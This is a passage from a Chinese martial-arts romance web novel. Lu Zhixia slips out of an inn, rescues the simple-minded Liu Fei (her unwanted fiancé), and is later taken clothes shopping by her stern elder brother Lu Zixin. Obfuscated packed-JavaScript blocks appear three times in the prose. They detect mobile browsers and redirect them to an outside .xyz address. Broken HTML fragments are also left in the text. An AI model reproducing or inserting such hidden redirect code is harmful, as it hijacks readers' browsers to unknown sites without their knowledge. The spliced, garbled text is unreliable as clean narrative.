姜崇却越发好奇,“表兄从不与女子亲近,这回进城带的是哪家姑娘? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083130|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 锦绣弹着琵琶的手变慢,侧耳倾听。 陆子辰也不拐弯抹角,坦然道:“与我一同入城的是陆知夏。” “是她?”姜崇苦恼道:“这惹祸精好不容易离开云炀,你又把她带回来作甚?那些年为她,我已在地方官员面前丢尽老脸。万一她再惹祸,我可不保她了。” 陆子辰俊眉微皱,“放心,这回我亲自看着她,不会给你添任何麻烦。”言罢,他起身要走。 姜崇拉他坐下,陪笑道:“表兄别生气,算我多事,我自罚三杯行了吧。” 陆子辰盯着姜崇把三杯满满的罚酒喝完,眉头这才渐渐舒展。 姜崇顺手给陆子辰斟酒,笑道:“这回计划进展顺利,今晚就当庆祝,咱们不醉不归。” 陆子辰道:“我还有要事在身,不宜多饮。” “何事?”姜崇好奇。 陆子辰扫了他一眼,默不作声。姜崇识趣地不再追问。 “眼下庆祝为时过早。”陆子辰幽深的眸子里涌动着复杂情绪,“暗庄势力盘根错节,这些年清剿的只是小门小庙,真正厉害的角色还藏在暗处。” 姜崇面容也严肃下来,“暗庄的人极其忠心,这回抓到的活口都在牢里自尽了,没得到任何有价值的情报。” 陆子辰叹了口气,“只能寄希望于离忧城那边,萧逸将水搅得越浑,越有希望逼出老家伙背后的势力。” 姜崇道:“离忧城的事我不能插手,你自己得当心。” 陆子辰从衣襟里取出一本小册子交给姜崇,“册子上的人或许与暗庄有秘密往来,最近我分身乏术,你帮我查一查。” “这事好办,放心交给我吧。”姜崇将册子收好,笑道:“最近得了不少情报,看来老狐狸越发信任你。” 陆子辰饮了一杯酒,淡淡道:“人老了总会担心后继无人,何况是只家财万贯的老狐狸。” 姜崇叹息道:“你和姑姑只身犯险,待在他身边时间越长越危险,我真替你们担心。” 陆子辰若有所思道:“想尽快结束一切不难,只是……” “只是什么?”姜崇从未见他犹豫,不禁又好奇。 陆子辰淡淡摇头,“没什么,有些事情我还没想清楚。” 姜崇见他眉头微拧,说道:“你是不是有顾虑?” 陆子辰瞥了他一眼。 姜崇知道自己又问了不该问的,立时噤声。 陆子辰将二人酒杯满上,说道:“此事待我谋划仔细再告诉你们。” 姜崇举杯道:“那祝我们往后计划顺利。” 二人碰杯,仰头将酒饮尽。 聊完正事,姜崇唤锦绣入席。锦绣将琵琶交给侍女,款款走到陆子辰身边坐下。 姜崇郁闷地喝了一口酒,抬手轻拍,数名身段优美的舞姬伴着欢快乐曲入厅献舞,厅上热闹起来。 “喝酒吃菜,咱们把烦心事暂时搁一边。”姜崇笑着又给陆子辰斟满酒。五年前他与陆子辰痛饮十多坛惨败,答应为他照看一人。此后他一直想找机会同他再较高下,可惜双方肩上重担有增无减,毫无顾虑大醉一场成了奢望。 陆子辰同姜崇再饮几杯便放下杯子,视线移向窗外,若有所思。 清凉的夜风吹开帘子,岸上灯火辉煌,行人如织。如此繁华热闹的时候,被困客栈里的人一定很不开心吧,没准她正气鼓鼓咒骂着他。想到她今日炸毛的滑稽模样,陆子辰唇角微扬。 “少主在看什么?”锦绣循着陆子辰的目光望去,除了千篇一律的夜景什么也没看到。 “无事。”陆子辰默默吃菜。 锦绣回味方才他那抹会心微笑,心中怅然若失。美景在他心中她又怎看得到? 18. 溜街(下) 苍松客栈后门附近行人稀少,一名丫鬟蹲在巷口,探头探脑地张望,神情略显焦急。 快半个时辰了陆知夏还没出来,小玉担心她出事,正想回客栈,后门一个身形与陆知夏类似的伙计提着个桶走出来。不过门外有两名伙计看守,小玉不敢叫她,紧张地等她脱身。 陆知夏提桶出门才发现门外除了收泔水的老伯,还有两名伙计守着。情况有变,她只好沉住气埋头干活。 倒完一桶泔水,陆知夏先回去想办法,半路很快又有了主意。之后她使出全身力气,咬牙提着满满一桶泔水出门,每次经过两名伙计身边时都故意洒出来一些,浓重的恶臭逼得他们不得不走远些。 最后一趟,陆知夏出门时发现二名伙计在远处闲聊,目光并未留意这边。机不可失,她假装内急,放下手里的桶撒腿就跑。 老伯好笑地望着捂着肚子离开的小伙计,忽然又觉得不对劲,找茅房应该回院里,他怎么往外跑? 老伯即刻唤远处两名伙计,他们走回来时那小伙计早跑没影了。 事有蹊跷,一名伙计赶紧回去核实情况,另一名伙计按老伯所指方向追上去。 陆知夏同小玉在巷子汇合后一路狂奔。 身边不断飘来难闻的味道,小玉捂住口鼻,嫌弃道:“小姐,你掉茅坑里了?” 陆知夏笑道:“方才顺手干了件脏活儿,味道是有些大,你且忍忍。” 主仆二人跑了几条街,回头确认没人追来才停下来休息。 一处偏僻巷子里,陆知夏将套在外边的伙计衣裳脱下,使劲擦手。 小玉道:“小姐,我们自由了,接下来你想去哪儿?” 手上的怪味儿擦不去,陆知夏皱眉道:“先去河边洗洗,这味儿熏得我都要吐了。” 将换下来的衣服藏好,主仆二人出了巷子往河边走去。 * 云炀河两岸绿柳成行,清风徐徐。主仆二人蹲在河边梳洗,吹着惬意的晚风嬉笑打闹。 “快快快,画舫往这边来了。” 听到一阵嘈杂声,主仆二人转头见一群衣饰各不相同的男子沿着河道往她们这边小跑而来。他们视线不看前方,都盯着河里一艘顺流而下的华丽画舫。 陆知夏和小玉的目光也被河中缓缓靠近的华丽画舫吸引,一转眼身边站满了人。 一名锦衣公子险些被蹲在地上的陆知夏绊倒,低头不悦道:“好狗不挡道,一个女子来凑什么热闹?” 陆知夏皱眉,这人踩到她不赔礼道歉就算了,居然还凶人,真是岂有此理!她起身双手叉腰道:“这里是我先来的,方才你走路不长眼踩了我一脚,必须给我道歉!” 锦衣公子发现面前凶悍的女子模样标志,不逊锦绣,谄笑道:“好妹妹,方才是哥哥不对。不如到我府上,哥哥我同你好好赔罪。” 言罢,一只手不安分地伸向陆知夏嫩白小脸。 陆知夏矮身一躲,顺势往他腰间一推,浪荡公子重心不稳往后倒去,“扑通”一声坠入河中。 “李公子落水了,快救人啊!”同行仆从惊恐大叫。 周围惜命的贵公子都后退几步,布衣百姓里也没人会水。仆从们只好去附近找人求助。 落水的李公子不会游泳,在河里胡乱扑腾,像一条可怜兮兮的落水狗。陆知夏放声大笑,平日看不惯李公子浪荡行径之人也跟着起哄,岸边好不热闹。 陆知夏朝水里的人做了个鬼脸,得意道:“小样,就你还想占我便宜?这回姑奶奶让你站最前排可还满意?” “蛇蝎毒妇。”水里的人张口大骂,呛了一口河水沉了下去。 毕竟也是一条人命,教训够了,终于有好心人跳入河中救人。适时经过的画舫也停下,夹板上几名伙计用竹竿捞起落水者,闹剧这才结束。 陆知夏冷哼,“今日给他长点教训,看他以后还敢不敢随便调戏良家妇女。” 小玉怔怔看着画舫,拍拍陆知夏说道:“小姐,我,我好像看到大少爷了。” “在哪?”陆知夏惊恐望向四周。 小玉指向河中画舫,“在那。” 陆知夏眯眼望去,一道熟悉的挺拔身影正好挑开帘子出舱,英俊却讨人嫌的模样不是陆子辰是谁?跟他出来的还有一名姿容倾城的女子,看起来二人认识。 被救起的李公子因祸得福,目不转睛盯着陆子辰身后女子,连道谢也忘了。 搞清楚状况,陆子辰抬头望向岸上,陆知夏和小玉吓得转身就跑。 陆子辰隐约看到两个熟悉身影,带着疑惑对锦绣道:“我有事先行一步。” 不等锦绣回应,黑色身影已向岸上跃去。 锦绣驻足凝眸,看着陆子辰的身影消失在人群中仍不肯离去。姜崇轻轻将披风披在她肩上,说道:“又不是诀别,外边风大,先回去吧。” 锦绣低头,神情失落,转身往回走。 “要不,今晚我陪你醉一场?”姜崇大胆提议。锦绣果然没搭理他。 姜崇暗自叹息,她还是这般不解风情。 * 远离云炀河,主仆二人来到热闹的街市上。 云炀城宵禁时间较晚,这会儿的夜市才刚开始热闹,好吃好玩的应有尽有。主仆二人都是好玩的青春年纪,顾着凑热闹把逃跑的事忘得干干净净。 “小姐快看,那边有杂耍。” 主仆二人挤进围观人群,好不容易找到一处最佳观看位置。 看得正起劲,一名个子瘦高的红衣公子在前边挡住陆知夏视线。她往旁边挪了挪,他也跟着挪,像是背后长眼睛故意同她作对。 陆知夏忍无可忍,提醒道:“公子,你个子太高能不能往旁边站些。” 瘦高公子转身,清俊的脸上略带歉意,挠头憨声道:“对不起漂亮姐姐,我不是故意的。” 言罢,他退后一步站到陆知夏身边,“这样可好?” 这个年轻公子言行大胆却无调戏之意,陆知夏觉得有些奇怪,暗暗同他保持距离。 表演达到高潮,观众欢呼鼓掌。陆知夏身边的瘦高公子边蹦边拍手,还不停发出呵呵傻笑声,跟个孩童一般。陆知夏断定他脑子有问题,顿时兴致全无,赶紧拉小玉离开。 * 主仆二人在街边吃了一碗馄饨后继续闲逛。路上看到一家糖人做得惟妙惟肖,陆知夏按生肖买了两个,与小玉边走边吃。重获自由,她们心里正如这糖一般甜。 前边传来嚷嚷声,不少人驻足围观,主仆二人也好奇走过去。 灯笼摊前,摊主拽着一名个子瘦高的红衣公子不撒手,指着摊上一面破损的灯笼大声道:“戳破我的灯笼就得买,不给钱别想走!” 瘦高公子无辜道:“刚刚你说经久耐用,可我摸一下它就破了。” 摊主眼神闪烁,强硬道:“明明是你戳破我的灯笼,如今还诋毁我,你得赔双倍价钱。” “你是大坏蛋,我才不给你钱呢。”瘦高公子甩开摊主的手,扭头大步往前走。 摊主看出瘦高公子心智残缺,大胆抄起扫帚追上去,对着他一顿打。 “救命啊,坏蛋打人了!”瘦高公子惨叫不止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083131|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种事明眼人一看便知是黑心摊主想讹人,但围观之人怕惹麻烦,没有一个人上前解围。 陆知夏虽也同情这名心智残缺的公子,但她内力被封又出逃在外,也无意多管闲事。 黑心摊主见瘦高公子始终不肯掏钱,下手越来越重。瘦高男子无力还手,抱头大哭。围观之人不忍再看都散开,陆知夏和小玉赶紧走。 “好疼,娘亲救我!”瘦高公子涕泗横流地坐在地上哭喊,狼狈可怜得像一只被主人无情虐打的狗。 身后凄惨的哭喊声令陆知夏想起多年前被人当街暴打的自己,那时她也好希望围观之人能伸出援手,可惜最终等来的却是调笑和嘲讽…… 哀嚎声渐弱,瘦高公子快撑不住了,蜷缩在地呜咽,但那黑心摊主仍不肯罢手。 陆知夏忍无可忍,将手上糖人一扔,回头大声道:“为了一个破灯笼你要打死他吗?” 黑心摊主愣住,对冲过来的美丽女子道:“我在教他做人,姑娘莫要插手。像他们这种目中无人的纨绔子弟就是欠收拾,打一顿就老实了。” “你没看出他心智残缺吗?他并非故意惹事,请你高抬贵手。”陆知夏拿出两粒碎银子,说道:“灯笼的钱我替他出,这些够不够?” 黑心摊主得了银子立时收手,放下扫帚回去打理自己的摊位。 瘦高公子仰着哭花的脸感激地看着陆知夏,“漂亮姐姐谢谢你。” 陆知夏淡淡点头,抬步往前走。可没走几步,腿上忽然一紧,低头便看到一双水汪汪的大眼睛。 “你这是做什么?快放手。”果真摊上麻烦,陆知夏顿感头痛。 瘦高公子紧抱着陆知夏大腿不放,大哭道:“堂姐不见了,那个坏蛋还打我,身上好疼我要死了,漂亮姐姐救救我,我不想死。” 堂堂七尺男儿抱着一个姑娘的大腿当街痛哭引得路人侧目嘲笑。 陆知夏无比尴尬,抬手挡脸,拖着一条沉重的腿往人少的角落走去。 “快松手,不然我对你不客气!” 这瘦高公子像狗皮膏药一样,任陆知夏怎么甩也甩不掉。若不是她内力被封,三拳两脚就把他踹飞了。 眼见陆知夏嫌恶他,瘦高公子嚎得更大声,最后干脆坐在地上蹬腿哭闹。 主仆二人无语地看着他。 陆知夏想起身上还有用剩的一点伤药,弯腰看着鼻青脸肿的红衣公子,说道:“你伤得不重不会死,身上哪疼伸出来,我替你上药。” 瘦高公子安静下来,捞起袖子露出一条满是淤青的胳膊,抽泣道:“手手最疼。” 陆知夏拿出小瓷瓶沾取药膏轻轻给瘦高公子上药。 冰冰凉凉的触感很是舒服,瘦高公子好奇地盯着陆知夏指尖,已然忘却悲伤。 “姐姐,你是不是天上下凡的仙女,怎么碰一下我的手就不疼了?”瘦高公子睁着一双清澈无邪的大眼睛看着陆知夏。 陆知夏莞尔,“傻瓜,因为我的手上沾了药,涂上自然就不疼了。” 瘦高公子恍然大悟,笑眯眯道:“仙女姐姐对我真好。” “谁是你姐姐。”陆知夏俏脸一沉。他看起来年纪比她大,老是一口一个姐姐地叫,听得她很不爽。 瘦高公子想了想,开心道:“那叫小仙女好不好?” 小玉捂嘴偷笑。 陆知夏吼道:“不好。” 瘦高公子神情颓丧,“怎么又不好。” 陆知夏替他上好药,站直道:“好了,我们还有事先走了。” 瘦高公子见她们离开,匆匆爬起来追上去。 19. 乌龙 夜市上,主仆二人发现被人跟踪便往人多的地方钻,但也因此走散。陆知夏从人堆里挤出来已是满头大汗,站在路边扇着风,四处张望寻找小玉。 一只手在后边拍了拍她肩膀,陆知夏回头,瘦高公子一张清俊无邪的面孔近在眼前,吓得她猛退数步差点跌倒。 “你跟来做什么?” 瘦高公子上前拉着陆知夏衣袖,撒娇道:“我同堂姐走丢了,小仙女带我去找她好不好?” 陆知夏甩开他的手,“我没空,找人你还是去官府吧。” “小仙女~”瘦高公子嘟着嘴撒娇。陆知夏把头扭到一边懒得搭理他。 “他在这儿!”巷子里忽然蹿出六个手执棍棒的蛮汉,面容不善地朝二人走来。 “坏人又来了!”瘦高公子记得这些白日里欺负过他的人,即刻躲到陆知夏身后。 一个脸上有刀疤的蛮汉指着瘦高公子喊道:“臭小子,这回看你往哪跑。” 来者气势汹汹,瘦高公子看起来要倒大霉。陆知夏以手抚额,暗叹这小子真是个惹祸精! 刀疤汉推开陆知夏,说道:“姑娘快走,这小子不是好人。他非礼我家小姐,我等奉家主之命教训他。” 陆知夏道:“这其中是不是有误会,他一个傻子怎会调戏女子?” 刀疤汉道:“他以前可不傻,现在这个样子完全是报应!” 不知为何,陆知夏觉得这番话听起来有些耳熟。 “你到底走不走?”刀疤汉见陆知夏磨磨唧唧,不耐烦催促道。 “走走走,多谢大哥提醒。”陆知夏抬脚就溜。眼下她内力被封,实在不宜强行替人出头。 “小仙女别扔下我——”瘦高公子抬手挽留。陆知夏却回头冷冷道:“你好歹是个男人,一人做事一人当懂不懂?别再连累我了。” 闻言,瘦高公子绝望地坐在地上撒泼打滚,放声大哭。 刀疤汉不耐烦道:“吵死了,刘家怎会生出这种窝囊废。” 几个蛮汉摩拳擦掌将瘦高公子包围,一番言语羞辱后将他拖进巷子里毒打。 “好疼!”巷子里传来痛呼,瘦高公子抱头蜷在地上求饶:“你们想要什么我让爹都给你们,求求你们放过我!” 刀疤汉啐了一口,恶狠狠道:“你害我家小姐被贵人退婚,家主要我们狠狠教训你。今天哥几个不把你揍扁绝不罢手!” 六个蛮汉下手一个比一个重,巷子里的惨叫声也越凄凉。 巷口忽然跑来两道纤细身影,去而复返的陆知夏和小玉扛着一根满是杈子的长竹子朝巷里的蛮汉一通乱打。 “哎哟——” 尖细的竹枝戳得蛮汉们痛呼不止。瘦高公子由于趴在地上幸免于难,慢慢向前爬到陆知夏和小玉身边,站起来同她们往大街上跑。 * “站住——” 夜色渐浓,街上人影稀疏,两女一男被几个蛮汉穷追不舍。 长街另一端,先后两拨人拿着三幅画像四处打听寻人。路边开始收摊的小贩感叹,今夜走失的成人怎么比幼儿还多? 三人体力不支,脚步渐缓,眼看就要被追上,偏偏这个节骨眼瘦高公子脚崴了,主仆二人只好硬拖着他继续往前跑。 “要死了,要死了,快放开我。”瘦高公子被拖行一阵,膝盖都磨破了,痛苦大叫。 主仆二人立即停下,不是她们不想跑,而是前方的路被两个手执棍棒的蛮汉拦住了。 “不知好歹的臭丫头,这回别怪哥几个狠心连你一起收拾。” 追上来的蛮汉前后挥舞着棍棒朝中间三人打来。 一道黑影从檐上跃来,长剑出鞘,一阵强劲剑气自场中扫过,蛮汉手中棍棒尽折,人也被浑厚内力震飞,一个个四脚朝天地躺在地上痛呼。 “好厉害!”瘦高公子对着持剑而立的陆子辰拍手喝彩,丝毫不惧他那慑人的气势。只有陆知夏和小玉心虚地低着头。 刀疤汉不甘心,捡起一截木棍从背后袭向陆子辰。棍子还没落下脖子上却一凉,锋利长剑转瞬已抵着他脖子。 “大侠饶命。”手里的半截木头落地,刀疤汉不敢乱动,满眼惊恐地望着陆子辰。 “滚。” 长剑收回,刀疤汉吓得落荒而逃,其余蛮汉也爬起来逃走。 清冷的目光一凛,陆子辰纵身跃到趁乱想逃的主仆二人面前,沉声道:“果然是你,陆知夏。你真是一刻也不让人省心。” 看着沉着脸走来目露凶光的陆子辰,陆知夏咽了咽唾沫,紧张道:“你,你听我解释,我们只是出来玩,没有想逃的。” 小玉跟着怯怯点头。 陆子辰才不信她们的鬼话,拽着陆知夏就走。瘦高公子张开双臂冲上来拦住他们,瞪着陆子辰大声道:“登徒子,放开我的小仙女。” “你说什么?”陆子辰眼中杀气暴涨,单手抬剑将挡路之人击倒,“不自量力。你也配说那三个字?” 瘦高公子双手抓住陆子辰靴子,喊道:“你这个坏蛋,快放开小仙女。” 陆知夏见瘦高公子今晚怪可怜的,不忍他再被陆子辰揍,劝道:“放手吧傻大个,我要回家了,你自己去找家人吧。” 陆子辰讽刺道:“你自身难保还关心他,你知道他是谁吗?” 陆知夏理亏地垂下头,不敢再多言语。 适时,街上走来一行持剑的蓝衣弟子,陆子辰即刻将陆知夏拉到自己身后。 看到来人,瘦高公子也松手从地上爬起来,眼泪汪汪地张臂奔向那群人里一名蓄着短胡须、面容方正的青年,“啸哥~” 被一个男子当街抱个满怀,秦啸天略显尴尬。他给身边弟子使眼色,弟子们即刻将瘦高公子从秦啸天身上扒下来。秦啸天发现瘦高公子鼻青脸肿,满身狼狈,愤愤道:“谁把你打成这样的? 瘦高公子抬袖抹了一把鼻涕和眼泪,哽咽道:“好多坏人,有卖灯笼的,还有六个蛮汉,额……对面那个穿黑衣服的也不是好人。”言语间,他回头指向陆子辰,见对面射来一道森冷目光即刻缩到秦啸天身后。 秦啸天让两名弟子回头再去教训方才仓惶奔逃的六个蛮汉,上前朝陆子辰抱拳道:“陆师弟幸会,不知方才这里发生何事?” 陆子辰抱拳回礼,淡淡道:“方才一群蛮汉欺负人,我路过就顺手把他们教训了一顿。” 秦啸天了然点头,蓦然瞥见陆子辰身后有一角衣裙。 瘦高公子叉腰指着陆子辰,“你抢我的小仙女,你也不是好人。” 秦啸天“啧”了一声,听瘦高公子提起女人他就头疼。看情况他定是欺负了陆子辰身后的姑娘才被陆子辰教训。 秦啸天压下瘦高公子不礼貌的手,训斥道:“斐儿不得无礼,这位可是你未来的大舅子。” “啊?”瘦高公子和陆子辰身后的姑娘同时惊呼。 秦啸天又朝陆子辰抱拳一礼,“多谢陆师弟从歹人手里救下我家公子。” 陆子辰道:“秦师兄客气。” 一直同陆子辰说话的这位蓝衣青年正是玄阴派首座大弟子秦啸天。此前登门办事,陆子辰曾与他打过几次交道。 陆知夏神情沮丧,怎么也没想到今晚拼命救下的傻大个就是玄阴派公子刘斐,她那遭天谴的未婚夫!若不是她多管闲事,刘斐今晚被人打死婚事就自动取消了。这一刻,她悔得肠子都青了。 秦啸天瞥了一眼被陆子辰挡在身后的女子,说道:“此番我等奉家师之命来云苍下聘,不如改日我们结伴上山?” “不必了。”陆子辰当即回绝,“我还有要事在身不便与诸 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“你们敢!”陆知夏怯怯看着神情不善的二人,脊背发凉。 齐放忽然摆手笑道:“开个玩笑而已,你紧张什么?” 陆知夏紧盯着陆子辰,感觉他的样子看起来不像在开玩笑。 齐放忽然想起一事,对陆子辰道:“方才寻找知夏的时候你猜我遇到了谁?” “玄阴派的人吧。”陆子辰淡淡道。 齐放略显惊讶,“莫非你们也遇上了?” 陆知夏没好气道:“不光遇上,还见到了刘斐。” 齐放揶揄道:“怎么样,对未来夫婿可还满意?” “不满意。”回想今夜刘斐不断被人追打的情形,陆知夏叹息道:“这种惹祸精,谁嫁给他谁倒霉。” 齐放拍拍她的肩,笑道:“没事,别忘了,你不也是惹祸精?你俩凑一对正好。” “你……”陆知夏愤愤道:“我和他能一样吗?” 陆子辰冷嗤,“我看也没什么不同。” 被他们拿来同一个遭天谴的傻子比较,陆知夏气得直跺脚,“你们两个混蛋,我讨厌你们。”言罢,她一个人往前方黑灯瞎火的清冷街道跑去。 陆子辰瞅了齐放一眼,“愣着作甚,还不去追。” 齐放抱着手臂没好气道:“明明是你惹她生气的,要去你去。” 话音刚落,面前黑影一晃,哪儿还有陆子辰身影?齐放望着前方远去的两道人影暗自纳闷:方才他该不会自己想去却拉不下脸吧? 繁华落幕后的清冷大街令人心生凄凉。陆知夏跑累了坐在路边一处石阶上发呆。今晚逃婚失利,还救了不该救的人,世上大概不会有像她这么倒霉的人了。 面前多了一道黑色身影,陆子辰的声音从头上传来:“一个人坐在这里又打什么鬼主意?” 陆知夏淡淡道:“有本事你自己猜呗。” 左腕被人扣住向上一拉,陆知夏倒吸一口凉气来到陆子辰面前。他拿捏着她手腕上的淤青,冷冷道:“内力被封还不老实,你到底想怎样?” “我想怎样你们心里难道不清楚吗?”陆知夏咬牙直视陆子辰那双清冷幽深的眸子,“你积极阻止我逃婚,是不是看我嫁给一个遭天谴的傻子很开心很解气?” 陆子辰目光微动,移开视线,松开她的手,说道:“我只是照爹的吩咐办事,你也该听他的话,一味任性对你没有好处。” 跟一条“忠犬”多说无益,陆知夏起身一个人闷声往前走。 陆子辰跟着前边落寞的倩影轻叹,不禁为她担忧。面对小小的坎儿她也要把自己逼入绝境,往后大风大浪无情袭来时她该怎么办? 20. 隐伤 翌日午后,在陆子辰的陪同下,陆知夏和小玉来到云霓坊。 这家店铺是云炀城老字号,制衣精美,用料华贵,件件成衣都价值不菲,出入客人非富即贵。从前陆知夏梦想有朝一日发财了来这儿挥霍一番,今日出门时陆子辰问她想去哪儿,她随口说了这里他竟没反对,想必这回下山父亲支给的资金充裕,那接下来她就不客气了。 进店后,一名笑容满面的绿衣女侍迎上来,“几位客官想买什么样的衣裳?” 在云炀上学堂时陆知夏曾陪同窗一位大户人家的小姐来过,了解店里一些门道,说道:“外面这些衣裳款式都过时了,我要看你们店的最新款。” 绿衣女侍知道遇到行家,领他们往里边走。 四人穿过大堂来到一处宽大屏风前,女侍让陆子辰在一旁茶水区休息等候,她领陆知夏和小玉到后边挑衣服。 为防陆知夏伺机偷逃,陆子辰留下小玉。 陆知夏独自随女侍从右侧绕过屏风来到一条长廊上,长廊两侧有数间房,门敞开着,里边架子上挂着各式衣裳,每间门旁都挂有分类的沉香木牌。 “小姐,本店新品都在这儿,请随意挑选。”女侍继续跟着陆知夏脚步为她详细介绍。 陆知夏看得眼花缭乱,挑了将近一个时辰才出来。身后女侍抱着一堆锦盒没有半句怨言,笑意盈盈随陆知夏去付账。 陆知夏走到陆子辰面前轻咳一声,“我挑好了,付账吧。” 陆子辰瞥了眼女侍手里高于头顶的锦盒,淡淡吐出两个字:“打开。” 绿衣女侍艰难探出头,讪笑道:“客官,这些都是小姐试穿后中意的,眼下都仔细包好了,还是……” “打开。”陆子辰沉声重复,神情不善。 绿衣女侍紧张咽了咽唾沫,按他的吩咐将锦盒放在长案上一一打开。 看着锦盒里一堆花花绿绿、剪裁奇怪的布料,陆子辰皱眉道:“你挑的这些都是什么?” “衣裙呀,看不出来吗?”陆知夏随手拎了一件薄如蝉翼的外衫在身前展示。 “你进去一个时辰就挑了这些?”陆子辰颇为恼火,“这种衣不蔽体的东西绝对不能穿出去,退了!” 绿衣女侍道:“客官,这些衣裳都是本店首席设计大师亲手裁剪缝制而成,料子和手工皆无可挑剔,样式也是最新潮的。小姐美丽大方,穿上定然美似天仙,艳压群芳……” 陆子辰懒得听这些废话,看着陆知夏说道:“既然你都满意,那就把它们穿来看看。” 陆知夏支吾道:“我方才试过了,没问题的。” “穿。”陆子辰冷沉的声音威慑力十足,在场之人不禁胆寒。 浑身慑人戾气的陆子辰不好惹,陆知夏瞪了他一眼,随绿衣女侍抱着衣服下去更换。 宽敞的隔间里,绿衣女侍帮陆知夏穿衣,同情道:“小姐的意中人脾气真大,方才可把奴家吓坏了。” 陆知夏道:“你误会了,我跟他是冤家。” 绿衣女侍噗嗤一笑,了然道:“有这样厉害的哥哥,小姐从小到大一定没少受气。” “这还用说?简直要被他气死了。”陆知夏揉了揉昨夜被陆子辰拿捏至今还隐隐作痛的手腕。这些年她不止受气,还被他虐待,她真是倒了八辈子霉才摊上这种冷酷无情的大哥。 * 不久,着一身翠绿广袖长裙的陆知夏从后边缓步而出。陆子辰瞟了一眼并无不妥,待她走近却皱起眉头。 翠绿外衫轻薄透肉就算了,设计者还用金色绣线在上边绣满蝴蝶花纹,连肩头也不放过,一对硬绣上去展翅的金蝶怎么看怎么突兀。陆知夏穿着这身衣裙确实亮眼,但却像个化形的蝴蝶精,整体看上去实在是…… “土。”陆子辰无情点评。 陆知夏撇嘴,转身去换下一套。 不久,陆知夏又扭扭捏捏走出来。这回的淡紫色衣裙颜色和花纹都很顺眼,但领子开得太低,精致锁骨和大片雪白肌肤袒露,她以手遮掩含羞带怯的模样却更显撩人。 陆子辰轻咳一声移开视线,皱眉道:“俗。” 陆知夏翻了个白眼,转身去换下一套。 再出来时,陆知夏一袭紧身大红露肩长裙更是奔放。她大步走来,玲珑曲线加上行走间若隐若现的玉腿,令旁人看着血脉偾张。 “太艳。”陆子辰失去耐心,重重放下手里茶盏,“快下去,别在这丢人现眼。 陆知夏忍无可忍,大声道:“这些衣裙都是最新最贵的,怎么可能不好看?你这不行那不行,我看你是抠门!” 陆子辰拍案而起,“别忘了你是什么身份,穿这些东西见人成何体统?” 陆知夏往凳子上一坐,气鼓鼓道:“那你替我挑,我倒要看看你的眼光比我好多少。” 沉默片刻,陆子辰将绿衣女侍招到面前,悄声交代几句。绿衣女侍会意,带着陆知夏到后边更换衣服。 一盏茶功夫,一阵清浅脚步声又从后边传来。陆子辰抬眸望去,目光停留在迎面走来的月白身影上再难移开。远去的记忆随着她渐渐清晰的五官再度浮现,清冷的眸子慢慢变得柔和。 那个雪夜,那双温暖的小手将他从雪里刨出来,毫不嫌弃地抚着他赃污的脸,唤道:“大哥哥你撑住,我带你去找大夫。”清澈明亮的杏眸紧张看着他,他伤势过重却无法开口。 寒冷的雪夜,身材矮小的她扶着他在昏暗长街上拍医馆的门,没人搭理她,她就一家家敲,找了一个时辰才有好心大夫收治他们。 她洁白的狐裘被他身上的血弄脏,她毫不生气,还笑说有了血莲的点缀更好看。 他伤口疼得睡不着她就陪他说了一夜的话,天亮后还问他想吃什么,蹦蹦跳跳地出门去买,可惜一走就再也没有回来…… “小姐肤色白皙,配上这身月白锦缎长裙温婉娴静,不说话的时候一点也不像平日的你。” 小玉的赞美声将陆子辰的思绪拉回现实。 陆知夏看起来却不开心,“我不喜欢这种风格的衣裳。” 不知为何,一听到与“乖”、“温柔”、“稳重”这种字眼沾边的话她就反感。难道只有乖顺温柔的女子才值得被人夸奖吗?她曾经也是那样,可是最后又换来了什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083133|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆子辰对绿衣女侍道:“这套衣服留下,再按这个风格挑几身颜色不同的给她试试。” 绿衣女侍终于松了口气,笑道:“公子稍候,我们店后边还有很多这种风格的衣服,奴家这就带小姐去挑。” 陆知夏却不配合,大声道:“我不要,我不喜欢这种风格的衣服,你这是存心和我作对!” 陆子辰来到她面前,低头看进清亮倔强的杏眸,“明明是你同自己过不去。” 陆知夏一怔,心里某处难以启齿的伤痛被他戳穿,慌张移开视线,“随便你,反正是你付账。” 绿衣女侍带陆知夏下去换衣服。陆知夏耳边不停回响刚刚陆子辰的话,心不在焉地试了好几身衣裙。 结账时,陆子辰托店里伙计把台子上一大堆锦盒送到苍松客栈。陆知夏说道:“你确定要买这些?有言在先,我可不会穿的。” 陆子辰不语,付了银子便拉陆知夏离开。陆知夏侧头看他,心情复杂。 * 三人走到街上天色已近黄昏。 肚子饿得咕咕叫,陆知夏放弃去首饰铺的念头,提议道:“云客楼的菜品味道不错,不如我们先去吃东西吧?” 陆子辰不语。沉默一向代表他的拒绝。 